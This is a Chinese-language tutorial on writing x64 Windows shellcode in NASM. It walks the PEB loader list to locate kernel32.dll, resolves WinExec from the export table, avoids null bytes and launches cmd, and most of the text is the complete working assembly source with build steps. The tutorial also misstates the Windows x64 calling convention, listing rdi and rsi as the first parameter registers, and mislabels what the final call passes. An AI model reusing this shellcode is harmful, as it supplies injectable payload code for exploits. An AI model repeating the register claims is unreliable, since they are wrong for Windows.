环境
- windows 10_x64
- windbg_x64
- x64dbg
- nasm
- 适用于 VS 2017 的 x64 本机工具命令提示(安装visual studio会自带)
- redasm
shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言/汇编编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
虽然现在的操作系统都带有__security_cookie或者栈不可执行等安全措施,但是shellcode依然有广阔的利用空间,比如远线程注入后执行任意代码之类。
nasm_x64汇编
先来说说x64与x86汇编的几个主要的不同点:
首先自然是寻址范围的扩大,其次是寄存器的变更,64位汇编中寄存器除了段寄存器外,其余的都是64位,即8字节,所以栈结构的入栈和出栈字节数都要求模8。eax等几个常见寄存器也变成了rax、rbx、rcx…等,但eax这些寄存器并没有作废,而是将其作为访问rax等寄存器低32位的寄存器,其大致关系
除此之外还增加了r8、r9、r10、r12、r13、r14、r15寄存器,他们的低32位使用r’数字’d的形式进行访问,比如r8d就是访问r8寄存器的低32位,而低16位则用r‘数字’w的形式进行访问,除此之外还有一些指令上的变更此处不做详解。
汇编源文件编写
实现过程
首先应该了解一下nasm编译器的语法规则:[Intel汇编-NASM]基本语法
然后在redasm下新建一个源文件,值得一提的是redasm其实是一个集成IDE但是我个人不太喜欢它集成的功能,所以对于我而言只是把它当作一个编辑器,然后新建的源文件大致如下
global start
section .text
start:
global用于指定程序入口点
section .text定义指令段
start:之后便是我们要编写的代码,因为只是shellcode,所以追求简洁一点,就不去过多的定义段了
首先我们要明确我们shellcode的功能是什么,在这里我就简单使用WinExec函数弹出一个新的cmd。然后我们要知道如何在汇编层面调用winapi,我们知道在linux可以使用“syscall+中断”结合的方式轻易的调用操作系统提供给我们的系统调用,但windows不一样他需要一系列复杂的操作:
我们需要先访问到TEB,这里我使用x64架构的系统进行演示,但要注意x86在偏移上存在一定不同
然后我们想要找到PEB结构体,在x64架构系统下它在TEB结构体的0x60偏移处
然后我们需要找到PEB结构体中的Ldr成员,他是一个_PEB_LDR_DATA类型的结构体变量
-
注意0x10、0x20、0x30三处偏移: -
InLoadOrderModuleList是按照加载顺序排列的模块
-
InMemoryOrderModuleList是按照内存顺序排列的模块
-
InInitializationOrderModuleList是按初始化的顺序排列的列表
我们可以通过他们三个中的任意一个来获取我们所需要的函数所在的dll模块
然后使用!peb
来查看dll模块在InMemoryOrderModuleList中的排列顺序之后我们也将通过InMemoryOrderModuleList来获取我们所需要的dll模块
找到我们所需要的dll模块后我们只需要再去解析pe文件,解析找到我们所需要函数的导出符号表内容的地址与导出表功能地址然后传参调用即可。
代码实现
首先我们需要明确WinExec函数位于kernel32.dll中所以我们需要找到它
然后我们来找到TEB与PEB这部分我们可以通过fs(x86下)与gs(x64下)段寄存器来完成
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
gs默认指向TEB在x64下PEB位于TEB的0x60偏移处,x86不是这个偏移具体是多少我忘记了,可以自行使用windbg查看。
找到了PEB我们需要再找到Ldr与Ldr中的InMemoryOrderModuleList成员以便我们找到我们需要的kernel32.dll
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
接下来我们需要开始找kernel32.dll的基址了,根据刚才再windbg中查看到的InMemoryOrderModuleList一开始指向的第一个模块是进程本身,第二个模块是ntdll.dll,第三个模块便是我们要找的kernel32.dll
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
lodsq ;获取ntdlll.dll模块
xchg rax,rsi ;交换rax与rsi的值
lodsq ;获取kernel32.dll模块
mov rbx,[rax+20h] ;获取kernel32.dll的基址
现在我们获取到了kernel32.dll的基址我们需要解析这个PE文件来获取导出符号表的位置来循环查找WinExec函数
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
lodsq ;获取ntdlll.dll模块
xchg rax,rsi ;交换rax与rsi的值
lodsq ;获取kernel32.dll模块
mov rbx,[rax+20h] ;获取kernel32.dll的基址
;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构
xor r8,r8 ;异或将r8寄存器中每一位都清0
mov r8d,[rbx+3ch] ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
xor rdx,rdx
mov rdx,r8 ;rdx = r8 = Dos Header-> e_lfanew
add rdx,rbx ;kernel32.dll基址+e_lfanew,rdx=PE Header
mov rax,0ffffffffffffffffh ;直接mov rax,88h可能会导致出现好几个字节的0
sub rax,0ffffffffffffff77h ;使用减法让rax等于88h
mov r8d,[rdx+rax] ;导出表偏移地址存在位置88h,此地址为4字节
add r8,rbx ;基址+偏移=导出表的物理地址
现在找到了导出表,我们还要找到导出表的名称表,名称表里存着函数名,我们需要遍历这些函数名来找到符合我们需求的函数
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
lodsq ;获取ntdlll.dll模块
xchg rax,rsi ;交换rax与rsi的值
lodsq ;获取kernel32.dll模块
mov rbx,[rax+20h] ;获取kernel32.dll的基址
;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构
xor r8,r8 ;异或将r8寄存器中每一位都清0
mov r8d,[rbx+3ch] ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
xor rdx,rdx
mov rdx,r8 ;rdx = r8 = Dos Header-> e_lfanew
add rdx,rbx ;kernel32.dll基址+e_lfanew,rdx=PE Header
mov rax,0ffffffffffffffffh ;直接mov rax,88h可能会导致出现好几个字节的0
sub rax,0ffffffffffffff77h ;使用减法让rax等于88h
mov r8d,[rdx+rax] ;导出表偏移地址存在位置88h,此地址为4字节
add r8,rbx ;基址+偏移=导出表的物理地址
xor rsi,rsi ;异或将rsi寄存器每一位都清0
mov esi,[r8+20h] ;获取导出表名称表偏移地址,此地址为4字节
add rsi,rbx ;获取导出表名称表的物理地址
xor rcx,rcx ;清空rcx寄存器,用于作为循环遍历的下标
mov r9d,456e6957h; ;r9d寄存器赋值为字符串WinE(倒叙放入)
r9d用于存放我们要找的函数的前四个字节,我们之后需要用这四个字节的内容去跟循环中当前所获取到的函数名的前四个字节去进行比较,如果一致则认为找到我们所需的函数。
然后我们开始循环遍历
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
lodsq ;获取ntdlll.dll模块
xchg rax,rsi ;交换rax与rsi的值
lodsq ;获取kernel32.dll模块
mov rbx,[rax+20h] ;获取kernel32.dll的基址
;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构
xor r8,r8 ;异或将r8寄存器中每一位都清0
mov r8d,[rbx+3ch] ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
xor rdx,rdx
mov rdx,r8 ;rdx = r8 = Dos Header-> e_lfanew
add rdx,rbx ;kernel32.dll基址+e_lfanew,rdx=PE Header
mov rax,0ffffffffffffffffh ;直接mov rax,88h可能会导致出现好几个字节的0
sub rax,0ffffffffffffff77h ;使用减法让rax等于88h
mov r8d,[rdx+rax] ;导出表偏移地址存在位置88h,此地址为4字节
add r8,rbx ;基址+偏移=导出表的物理地址
xor rsi,rsi ;异或将rsi寄存器每一位都清0
mov esi,[r8+20h] ;获取导出表名称表偏移地址,此地址为4字节
add rsi,rbx ;获取导出表名称表的物理地址
xor rcx,rcx ;清空rcx寄存器,用于作为循环遍历的下标
mov r9d,456e6957h; ;r9d寄存器赋值为字符串WinE(倒叙放入)
;获取WinExec函数
GetFun: ;循环遍历获取函数
inc rcx ;rcx++
xor rax,rax ;rax清0,用于存放函数名的物理地址
mov eax,[rsi+rcx*4h] ;获取一个函数名称偏移地址,此地址为4字节
add rax,rbx ;获取函数名称物理地址
cmp dword [rax],r9d ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同
jnz GetFun ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转
这个循环结束后就可以找到我们的函数名称表的位置了,光找到函数名还没有用,我们需要找到此函数确切的功能实现代码所在的地址
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
lodsq ;获取ntdlll.dll模块
xchg rax,rsi ;交换rax与rsi的值
lodsq ;获取kernel32.dll模块
mov rbx,[rax+20h] ;获取kernel32.dll的基址
;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构
xor r8,r8 ;异或将r8寄存器中每一位都清0
mov r8d,[rbx+3ch] ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
xor rdx,rdx
mov rdx,r8 ;rdx = r8 = Dos Header-> e_lfanew
add rdx,rbx ;kernel32.dll基址+e_lfanew,rdx=PE Header
mov rax,0ffffffffffffffffh ;直接mov rax,88h可能会导致出现好几个字节的0
sub rax,0ffffffffffffff77h ;使用减法让rax等于88h
mov r8d,[rdx+rax] ;导出表偏移地址存在位置88h,此地址为4字节
add r8,rbx ;基址+偏移=导出表的物理地址
xor rsi,rsi ;异或将rsi寄存器每一位都清0
mov esi,[r8+20h] ;获取导出表名称表偏移地址,此地址为4字节
add rsi,rbx ;获取导出表名称表的物理地址
xor rcx,rcx ;清空rcx寄存器,用于作为循环遍历的下标
mov r9d,456e6957h; ;r9d寄存器赋值为字符串WinE(倒叙放入)
;获取WinExec函数
GetFun: ;循环遍历获取函数
inc rcx ;rcx++
xor rax,rax ;rax清0,用于存放函数名的物理地址
mov eax,[rsi+rcx*4h] ;获取一个函数名称偏移地址,此地址为4字节
add rax,rbx ;获取函数名称物理地址
cmp dword [rax],r9d ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同
jnz GetFun ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转
xor rsi,rsi ;rsi清0,用于存放普通表的物理地址
mov esi,[r8+24h] ;获取导出表中普通表的偏移,此地址为4字节
add rsi,rbx ;偏移+基址=物理地址
mov cx,[rsi+rcx*2h] ;功能的数量,此地址为2字节
xor rsi,rsi ;rsi寄存器清0,用于存放偏移地址表的物理地址
mov esi,[r8+1ch] ;导出表偏移地址表的偏移地址,此地址为4字节
add rsi,rbx ;求出偏移地址表的物理地址
xor rdx,rdx ;清空rdx,用于存放函数功能的物理地址
mov edx,[rsi+rcx*4] ;获取到函数功能的偏移地址,此地址为4字节
add rdx,rbx ;获取到物理地址
mov rdi,rdx ;rdi=rdx
现在万事俱备只欠东风了,我们只要去传参后调用函数就好了
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
lodsq ;获取ntdlll.dll模块
xchg rax,rsi ;交换rax与rsi的值
lodsq ;获取kernel32.dll模块
mov rbx,[rax+20h] ;获取kernel32.dll的基址
;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构
xor r8,r8 ;异或将r8寄存器中每一位都清0
mov r8d,[rbx+3ch] ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
xor rdx,rdx
mov rdx,r8 ;rdx = r8 = Dos Header-> e_lfanew
add rdx,rbx ;kernel32.dll基址+e_lfanew,rdx=PE Header
mov rax,0ffffffffffffffffh ;直接mov rax,88h可能会导致出现好几个字节的0
sub rax,0ffffffffffffff77h ;使用减法让rax等于88h
mov r8d,[rdx+rax] ;导出表偏移地址存在位置88h,此地址为4字节
add r8,rbx ;基址+偏移=导出表的物理地址
xor rsi,rsi ;异或将rsi寄存器每一位都清0
mov esi,[r8+20h] ;获取导出表名称表偏移地址,此地址为4字节
add rsi,rbx ;获取导出表名称表的物理地址
xor rcx,rcx ;清空rcx寄存器,用于作为循环遍历的下标
mov r9d,456e6957h; ;r9d寄存器赋值为字符串WinE(倒叙放入)
;获取WinExec函数
GetFun: ;循环遍历获取函数
inc rcx ;rcx++
xor rax,rax ;rax清0,用于存放函数名的物理地址
mov eax,[rsi+rcx*4h] ;获取一个函数名称偏移地址,此地址为4字节
add rax,rbx ;获取函数名称物理地址
cmp dword [rax],r9d ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同
jnz GetFun ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转
xor rsi,rsi ;rsi清0,用于存放普通表的物理地址
mov esi,[r8+24h] ;获取导出表中普通表的偏移,此地址为4字节
add rsi,rbx ;偏移+基址=物理地址
mov cx,[rsi+rcx*2h] ;功能的数量,此地址为2字节
xor rsi,rsi ;rsi寄存器清0,用于存放偏移地址表的物理地址
mov esi,[r8+1ch] ;导出表偏移地址表的偏移地址,此地址为4字节
add rsi,rbx ;求出偏移地址表的物理地址
xor rdx,rdx ;清空rdx,用于存放函数功能的物理地址
mov edx,[rsi+rcx*4] ;获取到函数功能的偏移地址,此地址为4字节
add rdx,rbx ;获取到物理地址
mov rdi,rdx ;rdi=rdx
;调用WinExec函数
mov rax,0ffffffffffffffffh ;直接传入cmd字符串的ascii码会导致0截断
sub rax,0ffffffffff9b929ch ;所以使用相减的方法
push rax ;字符串cmd入栈
mov rcx,rsp ;获取到字符串cmd的内存地址,rcx寄存器对应第一个参数
inc rdx ;rdx寄存器对应函数的第2个参数
call rdi ;调用WinExec("cmd", 1)
这里要大概知晓一下函数参数与寄存器之间的对应关系:
- rdi:第一个参数
- rsi:第二个参数
- rdx:第三个参数
- rcx:第四个参数
- r8:第五个参数
- r9:第六个参数
- 大于六个参数后的参数通过push入栈的方式传参,顺序是从右往左
因为WinExec只有两个参数,而在这里rdi与rsi已经被我们用了所以我们需要使用rdx与rcx来进行传参
在这里编译后会发现程序还是无法正常运行,那是因为我们没有给我们的程序分配足够的栈区进行数据的储存,除此之外还应该对rbp等寄存器的原值进行保存在程序执行完后再恢复保证进程不会崩掉,使用完整的代码应该如下
;__author__:Pluviophile
;__email__ :1565203609@qq.com
;__date__ :2020/11/18
;调用WinExec打开一个新的cmd
;X86架构机器下PEB结构位于0x30偏移位置,Ldr位于0x0c偏移
;X64架构机器下PEB结构位于0x60偏移位置,Ldr位于0x18偏移
;其他具体的结构体偏移不同的请自行使用windbg观察
;寄存器作用:rbx存放kernel32.dll基址,rsi存放导出表中名称表的物理地址,r8存放导出表物理地址
;注意:偏移地址都为4字节
global start
section .text
start:
push rax ;寄存器保留原值
push rcx
push rdx
push rbx
push rsi
push rdi
push rbp
;获取kernel32.dll基址
sub rsp,28h ;开辟栈区
xor r8,r8
xor rcx,rcx
xor r10,r10
add r10,60h ;直接gs:60h的话在转换成机器码时会出现00导致shellcode截断
mov rax,[gs:r10] ;找到PEB,rax=PEB
mov rax,[rax+18h] ;rax = PEB->Ldr
mov rsi,[rax+20h] ;rsi = PEB->Ldr.InMemoryOrderModuleList
lodsq ;获取ntdlll.dll模块
xchg rax,rsi ;交换rax与rsi的值
lodsq ;获取kernel32.dll模块
mov rbx,[rax+20h] ;获取kernel32.dll的基址
;rbx=kernnel32.dll的基址,e_lfanew指向PE头,解析kernel32.dll的PE结构
xor r8,r8 ;异或将r8寄存器中每一位都清0
mov r8d,[rbx+3ch] ;R8D = Dos Header-> e_lfanew偏移量,因为Dos Header-> e_lfanew只占四个字节
xor rdx,rdx
mov rdx,r8 ;rdx = r8 = Dos Header-> e_lfanew
add rdx,rbx ;kernel32.dll基址+e_lfanew,rdx=PE Header
mov rax,0ffffffffffffffffh ;直接mov rax,88h可能会导致出现好几个字节的0
sub rax,0ffffffffffffff77h ;使用减法让rax等于88h
mov r8d,[rdx+rax] ;导出表偏移地址存在位置88h,此地址为4字节
add r8,rbx ;基址+偏移=导出表的物理地址
xor rsi,rsi ;异或将rsi寄存器每一位都清0
mov esi,[r8+20h] ;获取导出表名称表偏移地址,此地址为4字节
add rsi,rbx ;获取导出表名称表的物理地址
xor rcx,rcx ;清空rcx寄存器,用于作为循环遍历的下标
mov r9d,456e6957h; ;r9d寄存器赋值为字符串WinE(倒叙放入)
;获取WinExec函数
GetFun: ;循环遍历获取函数
inc rcx ;rcx++
xor rax,rax ;rax清0,用于存放函数名的物理地址
mov eax,[rsi+rcx*4h] ;获取一个函数名称偏移地址,此地址为4字节
add rax,rbx ;获取函数名称物理地址
cmp dword [rax],r9d ;让dword[rax],r9d相减,但不保存结果只置标志位,相当于比较两值是否相同
jnz GetFun ;如果标志位不为0则跳转,结合上面,相当于不相同则跳转
xor rsi,rsi ;rsi清0,用于存放普通表的物理地址
mov esi,[r8+24h] ;获取导出表中普通表的偏移,此地址为4字节
add rsi,rbx ;偏移+基址=物理地址
mov cx,[rsi+rcx*2h] ;功能的数量,此地址为2字节
xor rsi,rsi ;rsi寄存器清0,用于存放偏移地址表的物理地址
mov esi,[r8+1ch] ;导出表偏移地址表的偏移地址,此地址为4字节
add rsi,rbx ;求出偏移地址表的物理地址
xor rdx,rdx ;清空rdx,用于存放函数功能的物理地址
mov edx,[rsi+rcx*4] ;获取到函数功能的偏移地址,此地址为4字节
add rdx,rbx ;获取到物理地址
mov rdi,rdx ;rdi=rdx
;调用WinExec函数
mov rax,0ffffffffffffffffh ;直接传入cmd字符串的ascii码会导致0截断
sub rax,0ffffffffff9b929ch ;所以使用相减的方法
push rax ;字符串cmd入栈
mov rcx,rsp ;获取到字符串cmd的内存地址,rcx寄存器对应第一个参数
inc rdx ;rdx寄存器对应函数的第2个参数
call rdi ;调用WinExec("cmd", 1)
add rsp,28h ;回收栈区
pop rbp ;恢复原有寄存器值
pop rdi
pop rsi
pop rbx
pop rdx
pop rcx
pop rax
retn
**
编译链接
**
现在开始编译连接,安装好nasm后将其写入默认系统路径,然后再visual studio的安装目录下找到“适用于 VS 2017 的 x64 本机工具命令提示”,一般在vs安装好后在开始菜单的目录里就可以找到,因为我们使用x64编译,所以选择x64版本
编译:
nasm -f win64 a2.asm -o a2.obj
-f用于指定架构类型,可以是win64、win32、elf等
a2.asm就是我们刚刚写好的源文件,a2.obj就是即将要生成的目标文件
链接:
link /entry:start /MACHINE:X64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE a2.obj
link是vs安装后默认自带的连接器,
/entry指定了程序入口
/SUBSYSTEM指定的程序类型,控制台或者窗口程序
a2.obj是刚生成的目标文件,默认他会生成一个与目标文件同名的exe执行文件。
然后程序正常执行弹出cmd,然后我们只需要使用x64dbg来获取机器码即可,在编写程序调试程序的过程中x64dbg也会发挥很大的作用,使用编写shellcode不但要对汇编语言具有一定的了解,还要熟练的使用x64dbg与windbg等调试软件。
除此以外肯定还会有人存在疑问:如果我在shellcode里调用的函数不在进程默认加载的模块中,例如system函数就在msvcrt.dll中怎么办?
其实这样也好办,只不过代码就会变得比较长而已,我们可以先从kernel32.dll中获取到GetProcAddress
函数用它去加载LoadLibrary函数,然后再用LoadLibrary
函数去加载我们需要的dll模块,最后再用遍历的方式从LoadLibrary
函数返回的值也就是那个被加载模块的基址开始去找到我们需要的函数即可,顺带再提一句在x64汇编中返回值通常都会被放入rax寄存器,我们可以在调用完函数后通过rax寄存器拿到函数的返回值。